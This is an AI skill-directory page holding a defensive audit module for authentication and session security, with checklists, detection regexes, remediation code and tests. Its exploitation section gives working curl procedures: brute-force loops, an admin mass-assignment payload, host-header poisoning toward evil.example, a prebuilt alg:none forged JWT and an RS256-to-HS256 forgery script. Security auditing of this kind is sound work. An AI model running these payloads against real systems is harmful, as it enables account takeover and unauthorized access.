SuperAPI AI Directory

aegis-authn-session

Coding & development

View repository

Updated 10-15 17:19

About this skill

AuthN & Session Management Checks

Scope & Objectives

  • Audit every path that establishes identity (login, register, SSO/OAuth callback), extends it (remember-me, refresh tokens), or re-establishes it (password reset, recovery).
  • Verify credentials are checked against strong one-way hashes and that sessions/tokens are issued, rotated, validated, and invalidated correctly.
  • Detect enumeration, brute-force enablement, default/seeded credentials, mass assignment at registration, MFA bypasses, and JWT algorithm/validation flaws.
  • Out of scope (cross-references): throttling depth and API abuse metrics -> api.md; object-level IDOR beyond reset-flow specifics -> authz.md; cookie attribute deep matrix -> config.md; hardcoded secret inventory -> secrets.md; redirect validation depth -> ssrf.md.

Prerequisites & Vocabulary

Zero-background primer: the terms this module uses, one line each. Deeper plain-language explanations for every class live in the repository GUIDE.md glossary.

  • session: the server-side record plus browser cookie that keeps a user logged in after one successful login
  • session fixation: tricking a victim into using a session identifier the attacker already knows
  • credential stuffing: replaying username/password pairs stolen from other sites against this login
  • JWT claim: a field inside a signed token stating something like "this is user 42"; every claim must be verified, not just read
  • MFA: a second proof of identity beyond the password (app prompt, code, hardware key)
  • enumeration: responses that reveal whether an account exists, letting attackers harvest usernames
  • KDF: deliberately slow password-hashing that makes offline guessing expensive
  • taint flow / source→sink: path untrusted data travels from entry point to dangerous function
  • finding status: Confirmed > Probable > Needs-Review; evidence rules in templates/finding-report.md

Mental Model

Authentication is a state machine; every transition must be guarded:

Stage Question the code must answer Flaw class if wrong Primary CWE
Credential verify Is the password checked with a slow salted KDF? Plaintext/fast-hash compare CWE-521
Attempt throttle Are repeated failures bounded per account and per source? Brute force / stuffing CWE-307
Identity issuance Does successful login mint a NEW unpredictable identifier? Fixation, predictable IDs CWE-384
Session lifetime Do sessions expire server-side and die on logout/password change? Never-expiring sessions CWE-613
Recovery Can only the true owner reset via an unguessable expiring token? Predictable/replayable reset CWE-640
Step-up Are sensitive operations re-authenticated or MFA-gated? MFA absent/bypassable CWE-287
Token trust Are signature, algorithm, issuer, audience, expiry enforced? alg:none, confusion, missing checks CWE-287
Registration Can a caller self-assign privileged fields? Mass assignment to admin CWE-287
Response parity Do all auth failures look identical externally? Enumeration CWE-204

Rule of thumb: any handler reachable BEFORE authentication completes (login, register, forgot-password, OAuth callback, MFA challenge) is fully attacker-controlled input territory and receives the highest scrutiny.

What To Check

Login & credential verification

  1. Trace the login handler end-to-end: input -> lookup -> hash compare -> response. Flag branches where "user not found" and "wrong password" differ in status code, body text, body size, or work performed.
  2. Confirm failed attempts are counted server-side per account AND per source IP/device, persisted (DB/Redis), and enforced with lockout or exponential backoff.
  3. Search seeders/migrations/fixtures/factories for users created with known passwords; determine whether such accounts exist in production and whether their passwords were force-expired.
  4. Probe parameter pollution in login: duplicate username/email keys across query, body, and array syntax (user[]=a&user[]=b) reaching lookups that pick first-or-last inconsistently.
  5. On register/signup, diff accepted request body keys against ORM mass-assignment allowlists ($fillable, fields, serializer fields, StrongParameters); flag role, is_admin, admin, permissions, user_type sourced from client input.
  6. Check HTTP Basic usage: credentials from string literals, committed .htpasswd, or default env fallbacks.

Password handling

  1. Identify the exact verification primitive. Accept only Argon2id, bcrypt cost >= 12, scrypt, PBKDF2-HMAC-SHA256 >= 600k iterations. Flag md5/sha1/sha256-single-pass, unsalted digests, reversible encryption, custom XOR.
  2. Read the policy enforcement point (validator class/regex/minLength); flag absence, min < 8 with no composition, or denylists rejecting only literal passwords.
  3. Note stuffing indicators for report context: no lockout + generic failure + endpoint accepting many encodings; cross-ref API module for throttle depth.
  4. Confirm comparison uses the KDF library's constant-time verifier (bcrypt.compare, checkpw, PasswordEncoder.matches, password_verify), never ==/=== on digest strings.

Password reset & account recovery

  1. Locate token generation. Require CSPRNG >= 128 bits (crypto.randomBytes(32), secrets.token_urlsafe(32), random_bytes(32), SecureRandom, SecureRandom.urlsafe_base64). Flag time/email/name-derived values, Math.random(), rand(), mt_rand(), uniqid().
  2. Confirm server-side expiry (<= 60 min), hashed storage, atomic single-use consumption, revocation on reissue and on password change.
  3. Trace link construction back to its host source; flag reliance on Host/X-Forwarded-Host, req.headers.host, $_SERVER['HTTP_HOST'], Django build_absolute_uri() bound to the request, Rails default_url_options merged from request.
  4. In reset-consume, verify ownership comes from the token record, not a client-supplied uid/userId (flow-specific IDOR; deep matrix -> authz module).
  5. Flag security questions as sole factor, plaintext answer storage, or guessable canonical answer sets.
  6. Grep log/telemetry calls for reset token values being logged.

MFA

  1. Establish whether MFA exists at all; its absence on admin panels, password/email change, payouts, exports, API-key creation is itself a finding.
  2. Trace TOTP provisioning/storage: secrets returned in API responses, embedded in pages/logs, stored plaintext; backup codes stored unsalted or logged.
  3. Hunt "verify later"/skippable flows: mfa_pending session flags granting full access, alternate routes skipping the challenge, client-only gating.
  4. Verify backup codes: CSPRNG generation, hashed storage, single-use consumption.
  5. Verify device-remember tokens: >= 128-bit random, bounded life, hashed server-side, revoked on credential change.

Session management

  1. Login must regenerate the session identifier; compare pre-auth vs post-auth cookies (procedure below).
  2. Logout must invalidate server-side (store delete / token denylist), not merely delete the client cookie.
  3. Password change/reset must invalidate all sessions, refresh tokens, and remember-me devices.
  4. Confirm idle and absolute timeouts enforced against the server-side store, not just cookie maxAge.
  5. Refresh tokens: rotation on every use, bounded lifetime, revocation list; flag eternal reusable refresh tokens.
  6. Check concurrent-session policy where the product claims single-session semantics.

Token-based auth (JWT/OAuth/API keys)

  1. Enumerate every jwt parse/verify call; require pinned algorithm allowlist excluding none, key loaded from config/Keystore (never from token headers), asserted aud/iss, expiry enforced (no ignoreExpiration).
  2. Flag acceptance of tokens with zero signature verification (raw base64 decode -> trust claims).
  3. Flag header-driven key selection: kid into SQL/path traversal, jku/x5u fetched over network, inline jwk trusted.
  4. Inspect payloads for PII/secrets (password hashes, inner tokens, card data).
  5. Flag tokens in query strings (?token=, access_token=) leaking into logs/Referer.
  6. OAuth: flag implicit flow (response_type=token), missing or non-compared state, redirect_uri prefix-matched or unmatched (depth -> ssrf module).
  7. Static API keys shipped in frontend/mobile bundles performing per-user actions -> evidence here, inventory -> secrets module.

Remember-me / persistent login

  1. Require random >= 128-bit series/token pairs stored hashed; flag md5(username), sha1(password_hash) derivatives, sequential integers.
  2. Confirm independent invalidation on logout-all and password change.

Session storage backends

  1. Express default MemoryStore: dev-only; production requires connect-redis/connect-mongo/equivalent.
  2. Django signed-cookie sessions: payload readable by clients; flag sensitive objects in request.session.
  3. Flask/itsdangerous cookie sessions: weak/committed SECRET_KEY enables forgery (key sourcing -> secrets module); PyJWT same trust model for HS256 shared secrets.
  4. PHP: session.save_path permissions; session_regenerate_id(true) on privilege change.

Where To Look

Path globs

Glob pattern What to find
**/*login*, **/*signin*, **/auth/**, **/sessions/** Login/logout handlers, controllers
**/passport*.{js,ts}, **/strategies/** passport.js verify callbacks
**/*jwt*.{js,ts,py,java,kt,go,cs}, **/*token* Token issue/verify points
**/seed*, **/seeds/**, **/fixtures/**, **/factories/**, **/db/migrate/**, **/migrations/** Seeded users, default passwords
**/middleware/**, **/filters/**, **/interceptors/** Auth middlewares and their ordering
**/{SecurityConfig,WebSecurityConfig,Startup,Program}.{java,kt,cs}, **/settings.py, **/config/** Framework auth/session configuration
**/config/initializers/devise.rb, **/models/user.rb, **/models/user.py Devise config, has_secure_password
**/*reset*, **/*forgot*, **/*recover*, **/*mfa*, **/*totp*, **/*otp* Reset and MFA flows
templates/**/*.html, **/views/**, **/*.tsx Reset links/tokens rendered client-side

Framework marker matrix

Framework Marker of weakness Correct pattern
Express + passport.js session({secret:'s'}) without store; manual user.password === req.body.password; no req.session.regenerate on login Redis/Mongo store; bcrypt.compare in strategy; req.session.regenerate() before setting user
jsonwebtoken (Node) jwt.decode() feeding authorization; jwt.verify(t,key) with no options object jwt.verify(token, publicKey, {algorithms:['RS256'], audience, issuer})
Django MD5PasswordHasher active in PASSWORD_HASHERS; SESSION_COOKIE_SECURE = False; reset view trusting POSTed uid Argon2PasswordHasher first; DB/cache session engine; ownership resolved from token record only
Flask / Flask-Login app.secret_key = 'dev'; roles trusted from session cookie 32+ byte random secret from env/vault; roles loaded from DB per request
Spring Security (Java/Kotlin) NoOpPasswordEncoder.getInstance(); disabled sessionFixation; csrf().disable() alongside cookie auth DelegatingPasswordEncoder + BCrypt(12); default changeSessionId fixation protection enabled
ASP.NET Core Identity RequiredLength = 4; multi-year cookie ExpireTimeSpan; hand-rolled cookie auth replacing Identity Default password options; bounded ExpireTimeSpan; reviewed SlidingExpiration
Laravel (PHP) Hash::make($pw, ['rounds' => 6]); short Str::random(n) reset tokens; $fillable containing role Default bcrypt (raise to 12); Str::random(40); $guarded = ['role','is_admin']
Raw PHP sessions md5($_POST['pw']) == $row['hash']; no session_regenerate_id after login password_verify() / password_hash(PASSWORD_DEFAULT); session_regenerate_id(true)
Rails (devise / has_secure_password) plaintext column instead of has_secure_password; custom reset finder trusting params; naive remember token has_secure_password or Devise defaults (reset_password_within = 6.hours); generate_unique_secure_token
Go (gorilla/sessions, stdlib) crypto/md5 on passwords; literal []byte("secret") CookieStore key; cookies without MaxAge/Secure bcrypt.GenerateFromPassword(pw, 12); 32-byte random key; full cookie attribute set
OAuth (any stack) callback reads code without comparing state; response_type=token per-login server-stored state compared constant-time; authorization-code flow + PKCE

Patterns & Signatures

All regexes are ripgrep-compatible (no lookarounds). Hits are leads requiring manual confirmation.

Weak or fast password hashing:

(hashlib\.(md5|sha1)\(|Digest::MD5|digest::md5|crypto\.createHash\(["'](md5|sha1)["']\)|hash\(["'](md5|sha1)["'],|(MD5|SHA1)PasswordHasher|NoOpPasswordEncoder|MessageDigest\.getInstance\("MD5"\)|password.*encrypt|encrypt.*password)

Low KDF cost / fast parameters (manual-check the numbers found):

(genSalt(Sync)?\(\s*([0-9]|1[01])\s*[,)]|BCryptPasswordEncoder\(\s*(\d|10|11)\s*\)|rounds\s*[:=]\s*([0-9]|10|11)\b|Cost\s*=\s*(\d|10|11)\b|pbkdf2:sha256:[1-5]?[0-9]{1,5}|iterations\s*[:=]\s*[1-5]?[0-9]{1,5}\b)

Default / seeded credentials:

(["'](admin|root|administrator|superuser|demo|test|sa)[\"']\s*[:,=]\s*["'](admin|admin123|root|toor|password|password1|Passw0rd!|123456|12345678|changeme|changeit|letmein|qwerty|secret)["'])

Enumeration-leaking messages:

(["'](User|Email|Account)[^"']{0,20}(not found|does not exist|unknown|no such)|invalid username|email not registered|no account (with|matches))

Weak reset-token generation:

(Math\.random\(\).{0,60}token|token.{0,60}Math\.random\(\)|uniqid\(|mt_rand\(|\brand\(\d|randint\(|Date\.now\(\)\.toString\(36\)|(md5|sha1)\((time|microtime|now|email)))

Reset-token lifecycle fields (presence audit; pair with manual expiry/single-use review):

(reset_password_token|password_reset_token|resetToken|resetRequestedAt|reset_sent_at|reset_expires|tokenExpiry|used_at)

JWT misuse:

(jwt\.decode\(|JWT\.decode\(|decode\(\s*(jwt|token)|algorithms?\s*[:=]\s*\[?\s*["']none["']|ignoreExpiration\s*:\s*true|ignoreNotBefore\s*:\s*true|"alg"\s*:\s*"[Nn]one")

Key-selection injection surface (kid/jku/x5u/jwk):

(header\.kid|\bkid\b\s*[:=]|header\.jku|x5u|header\.jwk|getPublicKey(kid|ById))

OAuth gaps:

(response_type=token|response_type["']?\s*[:=]\s*["']token|state\s*[:=]\s*(null|None|""|'')|oauth/callback|redirect_uri=)

Session misconfiguration:

(saveUninitialized\s*:\s*true|MemoryStore|maxAge\s*:\s*(365|30)\s*\*\s*24|SESSION_COOKIE_SECURE\s*=\s*False|cookie_secure\s*=\s*False|httponly\s*[:=]\s*[Ff]alse|secret_key\s*=\s*["'][^"']{0,20}["'])

Remember-me / persistent login:

(remember[_-]?me|RememberMe|auto_login|persistent_login|series:token|auth_token\s*[:=])

Tokens in URLs / basic auth embedded in code:

([?&](token|jwt|access_token|reset_password_token)=|Basic\s+[A-Za-z0-9+/=]{12,}|Authorization["']?\s*[:,=]\s*["']Basic )

MFA presence audit (absence of hits near sensitive routes is itself a finding):

(totp|mfa|two_factor|2fa|otp_secret|backup_code|recovery_code|mfa_required)

Taint Tracing Guidance

Source (attacker-controlled) Sink (security decision) Flaw to confirm
Login body username/email Response body/status branches Enumeration (CWE-204)
Failed-attempt counter keyed on IP only Lockout state Distributed brute force survives (CWE-307)
Signup body -> ORM create/update users.role / users.is_admin columns Mass assignment to admin (CWE-287)
Math.random() / time-derived value Reset token persisted + emailed Predictable recovery token (CWE-640)
Host / X-Forwarded-Host header Email link builder Reset-link host poisoning (CWE-640)
Client-supplied uid in reset-consume Token ownership check Cross-user reset (IDOR-in-reset)
JWT header kid/jku/jwk/x5u Verification key selection Attacker-signed tokens (log under CWE-287)
Decoded JWT claims (role,sub) Authorization checks Unverified-token trust (CWE-287)
OAuth callback query (code,state) Session establishment Login CSRF via missing state binding
Weak/committed SECRET_KEY Flask/itsdangerous/JWT HS256 signing Session/token forgery (cross-ref secrets module)

Method: start from the route table (Express routers, Django urls.py, Rails routes.rb, Spring @RequestMapping, Go http.HandleFunc), classify every unauthenticated route, then follow arguments into the sinks above. For mass assignment, dump model allowlists ($fillable, fields, StrongParameters) and diff against signup controller inputs. For reset flows, walk generate -> persist -> email -> consume and annotate where attacker data can substitute for each stage.

Exploitation & Reproduction

Run only against systems you are authorized to test. Each procedure lists expected observable outcomes.

1. Username enumeration via response diffing

  1. Unknown user:
    curl -s -o /dev/null -w '%{http_code} %{size_download} %{time_total}\n' \
      -X POST https://target/login -H 'Content-Type: application/json' \
      -d '{"username":"definitely-not-a-user","password":"WrongPass1!"}'
    
  2. Known/likely user (from seeds or signup):
    curl -s -o /dev/null -w '%{http_code} %{size_download} %{time_total}\n' \
      -X POST https://target/login -H 'Content-Type: application/json' \
      -d '{"username":"admin","password":"WrongPass1!"}'
    
  3. Expected outcome if vulnerable: differing status (200 vs 401), body-size delta > ~50 bytes, or distinct messages ("No such user" vs "Invalid password"). Capture 3 samples per class into a diff table for the report.

2. Timing-based enumeration

  1. When messages match, run 10 requests per class recording %{time_total}.
  2. Expected outcome if vulnerable: known-user median consistently higher (KDF executed) vs unknown-user fast-path; stable gap across runs. Single-run jitter is not evidence; require repeated medians.

3. Missing rate limiting / lockout

  1. Fire 30 wrong-password attempts:
    for i in $(seq 1 30); do curl -s -o /dev/null -w '%{http_code} ' \
      -X POST https://target/login -H 'Content-Type: application/json' \
      -d '{"username":"victim","password":"bad-'$i'"}'; done; echo
    
  2. Expected outcome if vulnerable: uniform 401s, no 429/423, and the correct password still succeeds immediately afterwards. Depth of throttle tuning -> api module.

4. Default / seeded credentials

  1. Collect candidates from grep hits and README quickstarts: admin:admin, admin:password, root:root, demo accounts.
  2. Attempt each login. Expected outcome if vulnerable: success + Set-Cookie; confirm elevated role via /api/me.

5. Mass assignment at registration

  1. Register normally; note your id from /api/me.
  2. Inject privilege fields:
    curl -s -X POST https://target/api/register -H 'Content-Type: application/json' \
      -d '{"email":"attacker@example.com","password":"Str0ngPass!xyz","role":"admin"}'
    
    Variants: {"isAdmin":true}, {"user_type":0}, duplicate key "role":"user","role":"admin" (pollution), form-encoded role=admin alongside JSON.
  3. Expected outcome if vulnerable: /api/me shows role:"admin"; a previously forbidden admin endpoint now returns data.

6. Password reset host-header poisoning

  1. Request reset with overridden host:
    curl -s -X POST https://target/auth/forgot -H 'Host: evil.example' \
      -H 'Content-Type: application/json' -d '{"email":"victim@corp.com"}'
    curl -s -X POST https://target/auth/forgot -H 'X-Forwarded-Host: evil.example' \
      -H 'Content-Type: application/json' -d '{"email":"victim@corp.com"}'
    
  2. Expected outcome if vulnerable: emailed link begins https://evil.example/reset?.... Without inbox access, confirm statically that the link host derives from request headers.

7. Reset token replay / non-expiry

  1. Request two resets on an authorized account; use the FIRST token after the SECOND was issued.
  2. Consume a token successfully, then submit it again.
  3. Expected outcome if vulnerable: superseded token still accepted, or second acceptance succeeds. Absence of expiry/single-use columns in the migration is corroborating static evidence.

8. JWT alg:none swap

  1. Log in; capture Authorization: Bearer <token>.
  2. Forge with header eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 ({"alg":"none","typ":"JWT"}), payload eyJzdWIiOiIxMDA3IiwiaWF0IjoxNzUwMDAwMDAwLCJyb2xlIjoiYWRtaW4iLCJzY29wZSI6InByb2ZpbGUifQ ({"sub":"1007","iat":1750000000,"role":"admin","scope":"profile"}), empty signature:
    FORGED='eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMDA3IiwiaWF0IjoxNzUwMDAwMDAwLCJyb2xlIjoiYWRtaW4iLCJzY29wZSI6InByb2ZpbGUifQ.'
    curl -s https://target/api/admin/users -H "Authorization: Bearer $FORGED"
    
  3. Retry with capital-N header eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0 and with trailing-dot removed.
  4. Expected outcome if vulnerable: 200 with protected data. A 401 means the library rejected none; record as pass.

9. RS256 -> HS256 algorithm confusion

  1. Preconditions: server verifies with a public key obtainable by the attacker (JWKS endpoint, repo PEM).
  2. Sign original header/payload segments with HMAC-SHA256 keyed by the raw public-key PEM bytes:
    TOKEN='<original RS256 token>'
    HDR=$(printf %s "$TOKEN" | cut -d. -f1); PL=$(printf %s "$TOKEN" | cut -d. -f2)
    SIG=$(printf '%s.%s' "$HDR" "$PL" | openssl dgst -binary -sha256 -mac HMAC \
          -macopt key:"$(cat server_public.pem)" | base64 | tr '+/' '-_' | tr -d '=')
    FORGED="$HDR.$PL.$SIG"
    curl -s https://target/api/me -H "Authorization: Bearer $FORGED"
    
  3. Expected outcome if vulnerable: 200 — verifier selected HS256 from the header and used the public key as HMAC secret.

10. Expiry / issuer / audience not validated

  1. Replay a token captured before its exp passed (or shorten test window by requesting tokens with short ttl).
  2. Replay a token minted for one audience (web://client) against another service (api://orders).
  3. Expected outcome if vulnerable: stale or cross-audience token accepted (200). Statically corroborate: verify call lacks audience/issuer options or sets ignoreExpiration:true.

11. OAuth callback CSRF (missing state)

  1. Start an OAuth login; copy the provider redirect URL; remove the state parameter.
  2. Complete the flow in a second browser session using only https://target/auth/callback?code=<code>.
  3. Expected outcome if vulnerable: callback accepts stateless code -> attacker binds their provider account to the victim's target session (login CSRF).

12. Session fixation sequence

  1. Anonymous visit, record cookie:
    curl -si -c jar.txt https://target/ ; grep -i sid jar.txt
    
  2. Authenticate reusing the same jar:
    curl -si -b jar.txt -c jar.txt -X POST https://target/login \
      -d 'username=u&password=p' >/dev/null; grep -i sid jar.txt
    
  3. Expected outcome if secure: post-login session id DIFFERS from pre-auth id. Identical id = CWE-384: anyone who planted the pre-auth value owns the authenticated session.

13. Logout without server-side invalidation

  1. Log in, save cookie C1, then curl -X POST https://target/logout -b C1.
  2. Replay C1 against an authenticated endpoint:
    curl -s -o /dev/null -w '%{http_code}\n' https://target/api/profile -b C1.jar
    
  3. Expected outcome if vulnerable: 200 after logout. Repeat after password change to test CWE-620/CWE-613 combined.

14. MFA skip via direct route / "verify later"

  1. Submit correct password but stop before OTP entry; note the pending-state cookie.
  2. Immediately call a sensitive endpoint directly:
    curl -s https://target/api/payments -b mfa_pending.jar
    
  3. Expected outcome if vulnerable: data returned pre-MFA; client JS contains a skip branch unlocking navigation without server verification.

15. Cookie attribute inspection

curl -si https://target/login | grep -iE '^set-cookie.*(httponly|secure|samesite)'

Expected finding if weak: session cookie missing HttpOnly/Secure/SameSite, or SameSite=None without Secure. Deep matrix -> config module.

Static-only confirmation guidance

  • With no runtime, grade from code: cite file:line for the verify call, quote the full login handler to show regeneration absence, cite token generator line, show middleware ordering proving sensitive routes mount outside requireMfa.
  • Reproduce forgery offline: build the alg:none string locally and include it as evidence; phrase findings as "static confirmation; live acceptance untested".
  • For enumeration, present both response-building code paths side-by-side in place of measured diffs.

Remediation

Login throttling & enumeration

  • Uniform failure: always run the hash comparison (dummy compare when user missing); return identical status, body shape, and delay.
  • Throttle per-account and per-source with exponential backoff; use maintained libraries (express-rate-limit + rate-limiter-flexible, Django django-axes, ASP.NET LockoutOptions.Enabled = true, Spring custom AuthenticationFailureHandler + counters). Tuning depth -> api module.
// VULNERABLE
const u = await db.users.findByEmail(email);
if (!u) return res.status(404).json({error: 'User not found'});
if (!(await bcrypt.compare(pw, u.password))) return res.status(401).json({error: 'Wrong password'});
// FIXED
const DUMMY_HASH = await bcrypt.hash('timing-equalizer', 12); // computed once at boot
const u = await db.users.findByEmail(email);
const ok = u ? await bcrypt.compare(pw, u.password) : await bcrypt.compare(pw, DUMMY_HASH);
if (!u || !ok) return res.status(401).json({error: 'Invalid credentials'});

Password storage

Algorithm Minimum parameters (OWASP Password Storage guidance)
Argon2id memory 19 MiB (19456 KiB), iterations 2, parallelism 1; scale up hardware permitting
bcrypt cost 12+ (~250 ms on server-class core)
scrypt N=2^17, r=8, p=1
PBKDF2-HMAC-SHA256 600,000 iterations
// VULNERABLE
const hash = crypto.createHash('sha256').update(password).digest('hex');
// FIXED
const argon2 = require('argon2');
const hash = await argon2.hash(password, {type: argon2.argon2id, memoryCost: 19456, timeCost: 2, parallelism: 1});

Enforce server-side policy: length >= 12 preferred (or >= 8 with composition), breached-password denylist, no forced periodic rotation. Migrate by wrapping legacy hashes and rehashing on next successful login.

Breached-password screening concretely: query the Have I Been Pwned k-anonymity range API (GET https://api.pwnedpasswords.com/range/{first 5 chars of SHA-1}) server-side at registration and password change, comparing the full SHA-1 of the candidate; block matches, never send the full password off-host. Allow paste into password fields — blocking paste pushes users toward weaker memorable passwords and breaks password managers. Give users visibility into their active sessions with per-session terminate buttons; unexplained sessions are both a user-facing control and a detection signal.

Session regeneration per stack

Stack Call at login / privilege change
Express await new Promise(r => req.session.regenerate(r)) then set user claims
Django request.session.cycle_key() before setting auth state
PHP session_regenerate_id(true);
Rails / Devise reset_session then re-establish (Devise does this inside sign_in)
Spring Security default session-fixation protection calls changeSessionId(); keep it enabled, do not disable
Go (gorilla/sessions) no built-in rotate: destroy old session record, create fresh one, copy minimal claims
ASP.NET Core SignInManager.PasswordSignInAsync rotates the cookie; for custom auth issue a new ticket and clear the old cookie

Logout must be server-authoritative: delete store entry (req.session.destroy(cb), session_destroy(), request.getSession().invalidate()), clear cookie, and on password change/reset invalidate every session, refresh token, remember-me device, and outstanding reset token.

Password reset tokens

// VULNERABLE
const token = Math.random().toString(36).slice(2) + Date.now();
// FIXED
const crypto = require('crypto');
const token = crypto.randomBytes(32).toString('base64url');            // 256-bit, emailed once
const tokenHash = crypto.createHash('sha256').update(token).digest();  // store hash, never raw token
await db.query(
  'UPDATE users SET reset_token_hash=?, reset_expires=NOW()+INTERVAL 15 MINUTE WHERE email=?',
  [tokenHash, email]);
// consumption: single atomic statement guarantees single-use + expiry
// UPDATE users SET reset_token_hash=NULL, reset_expires=NULL, password_version=password_version+1
//   WHERE email=? AND reset_token_hash=? AND reset_expires > NOW()

Build links from a server-configured base URL (APP_BASE_URL), never request headers. Rate-limit issuance and notify users of resets. Ownership in the consume step must resolve through the token record only.

MFA enforcement point

// FIXED: gate AFTER credential success, BEFORE any privileged route mounts
function requireMfa(req, res, next) {
  if (!req.session.userId) return res.redirect('/login');
  if (req.session.mfaPending && !req.session.mfaVerified) return res.redirect('/mfa/challenge');
  next();
}
router.use(requireMfa);
router.post('/payments', handlers.payments);
router.get('/admin', handlers.admin);

Encrypt TOTP secrets at rest; hash backup codes with the password KDF and mark used codes atomically; device-trust cookies need >= 128-bit CSPRNG values, hashed server-side, <= 30-day life, revoked on password change. Enforce MFA server-side on admin panels, credential changes, payouts/exports, API-key creation.

JWT validation (pinned algorithms + audience)

// VULNERABLE
const payload = jwt.decode(token); // zero verification
// also bad:
jwt.verify(token, secret, {ignoreExpiration: true});
jwt.verify(token, keyFromTokenHeader.kid); // attacker-selected key
// FIXED
const payload = jwt.verify(token, publicKey, {
  algorithms: ['RS256'],                    // pinned allowlist; 'none' can never pass
  audience: 'api://orders',
  issuer: 'https://idp.corp.example',
  clockTolerance: 30,
});
if (!payload.scope || !payload.scope.includes('orders:read')) throw new ForbiddenError();

Python equivalent: pyjwt.decode(token, key, algorithms=['RS256'], audience='api://orders', issuer='https://idp.corp.example'). Never fetch keys from token-supplied URLs; resolve kid against a local JWKS allowlist only.

OAuth & refresh tokens

  • Authorization-code flow with PKCE; generate per-login random state, verify equality before exchanging code; exact-match redirect_uri registration.
  • Refresh tokens: rotate on each use (invalidate predecessor), detect reuse-of-rotated-token as theft signal, bound absolute lifetime, revoke on logout/password change.
  • Reject response_type=token implicit flows for new integrations.

Defense-in-depth

  • Add login anomaly alerts (velocity per account/IP) to monitoring, not just blocking.
  • Re-authenticate (password or MFA step-up) immediately before password/email change and payout actions.
  • Sign and short-life all bearer tokens; keep authorization decisions out of client-trusted claims without server-side re-check.
  • Documented runbook: force-logout-all endpoint per user for incident response.
  • Passwordless/FIDO2 hardware-key adoption: point factor-upgrade migration guidance at WebAuthn/passkey rollout paths (phishing-resistant, defeats AiTM kit collection).
  • OAuth-consent-abuse and stolen-OAuth-token detection techniques live in the SSO module (oauth-sso) — cross-ref rather than duplicating here.

Verification & Validation

GIVEN/WHEN/THEN tests

  • GIVEN lockout threshold 5 WHEN 6 wrong passwords THEN 429/locked response AND GIVEN correct password during lockout THEN access is still denied (negative test).
  • GIVEN valid credentials WHEN login THEN 200, new session id != pre-auth id, old pre-auth id rejected afterwards.
  • GIVEN unknown username vs known username WHEN same wrong password THEN identical status code, body length within noise, comparable latency.
  • GIVEN forged alg:none token THEN 401/invalid AND GIVEN legitimate RS256 token THEN 200 (regression guard that hardening did not break valid auth).
  • GIVEN expired token or cross-audience token THEN rejected; GIVEN fresh correctly-audience token THEN accepted.
  • GIVEN consumed reset token WHEN replayed THEN rejected; GIVEN superseded token (after newer reset request) THEN rejected; GIVEN password just changed WHEN prior session cookie replayed THEN 401.
  • GIVEN MFA-pending session WHEN calling sensitive route THEN challenge/redirect, never data.
  • GIVEN remember-me token WHEN reviewed statically THEN >= 128-bit CSPRNG origin confirmed and stored only as hash.

Regression pseudocode

test_login_uniformity():
  r1 = POST /login {user:"ghost-user", pass:"Xy9!"}; r2 = POST /login {user:"admin", pass:"Xy9!"}
  assert r1.status == r2.status and abs(len(r1.body)-len(r2.body)) < 20
test_session_rotation():
  sid1 = GET / -> Set-Cookie SID; sid2 = POST /login(cookie=sid1)
  assert sid1 != sid2 and GET /me with sid1 -> unauthenticated
test_jwt_negative_then_positive():
  assert verify(forged_alg_none) raises InvalidAlgorithmError
  assert verify(expired_token)   raises ExpiredSignatureError
  assert verify(valid_token)     returns payload          # negative-test regression
test_reset_single_use():
  t = request_reset(); consume(t); assert consume(t) fails

Manual re-test checklist

  1. Re-run enumeration diff capture: statuses and sizes now match across user classes.
  2. Confirm Set-Cookie changes across login, logout, password change.
  3. Replay captured pre-fix forged JWTs; confirm rejection while a freshly issued token works.
  4. Request two resets; confirm older token dead; confirm link host is the configured domain even with spoofed Host header.
  5. Walk MFA-pending state directly into a protected route; confirm challenge enforced server-side.

Greps to rerun post-fix (expect no production hits)

rg -n "NoOpPasswordEncoder|MD5PasswordHasher|SHA1PasswordHasher" src/
rg -n "algorithms?\s*[:=]\s*\[?\s*[\"']none[\"']|ignoreExpiration\s*:\s*true" src/
rg -n "Math\.random\(\).{0,60}token|uniqid\(" src/
rg -n "\[\s*[\"'](role|is_admin)[\"']\s*,\s*[\"'](is_admin|role)[\"']\s*\]" app/ models/
rg -n "secret_key\s*=\s*[\"'][^\"']{0,20}[\"']" .

Severity Assessment

Finding CWE Default rating Example CVSS v3.1 vector
Auth bypass at login (alg:none, missing signature validation, logic bypass) CWE-287 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8)
Predictable / non-expiring / replayable reset token -> account takeover CWE-640 High-Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Session fixation CWE-384 High CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
Missing rate limiting / lockout enabling stuffing CWE-307 Medium-High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5)
Username/email enumeration CWE-204 Low-Medium CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3)
Sessions never expiring / logout not invalidating CWE-613 Medium-High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Unverified password change (no current-password/MFA check) CWE-620 High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weak password policy / weak storage CWE-521 Medium-High context-dependent; offline-crack exposure raises it
Hard-coded credentials reachable in prod CWE-798 Critical if privileged CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Missing MFA on sensitive operations CWE-287 Medium CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Rubric anchors:

  • Auth-bypass-on-login of any kind = always Critical; do not discount for exploit complexity unless a second secret is genuinely required.
  • Account takeover via recovery flaws = High minimum; Critical when unauthenticated, scalable, and silent (no victim notification).
  • Enumeration alone = Low on small/internal user bases, Medium when combined with stuffing or on large public bases.
  • Fixation = High when an attacker can realistically plant the identifier (subdomain injection, shared kiosk); otherwise Medium.
  • Cookie attribute gaps alone = Low/Informational; escalate when combined with non-HTTPS or XSS presence (cross-ref config/xss modules).

Common False Positives

  • md5/sha1 hits used for cache keys, ETags, checksums, or non-secret identifiers — verify the input is actually a password/token.
  • bcrypt cost 10 flagged where the org's documented standard is 10+; confirm policy docs before rating.
  • jwt.decode present but only for logging claims, with a real verify upstream in middleware — trace call order before flagging.
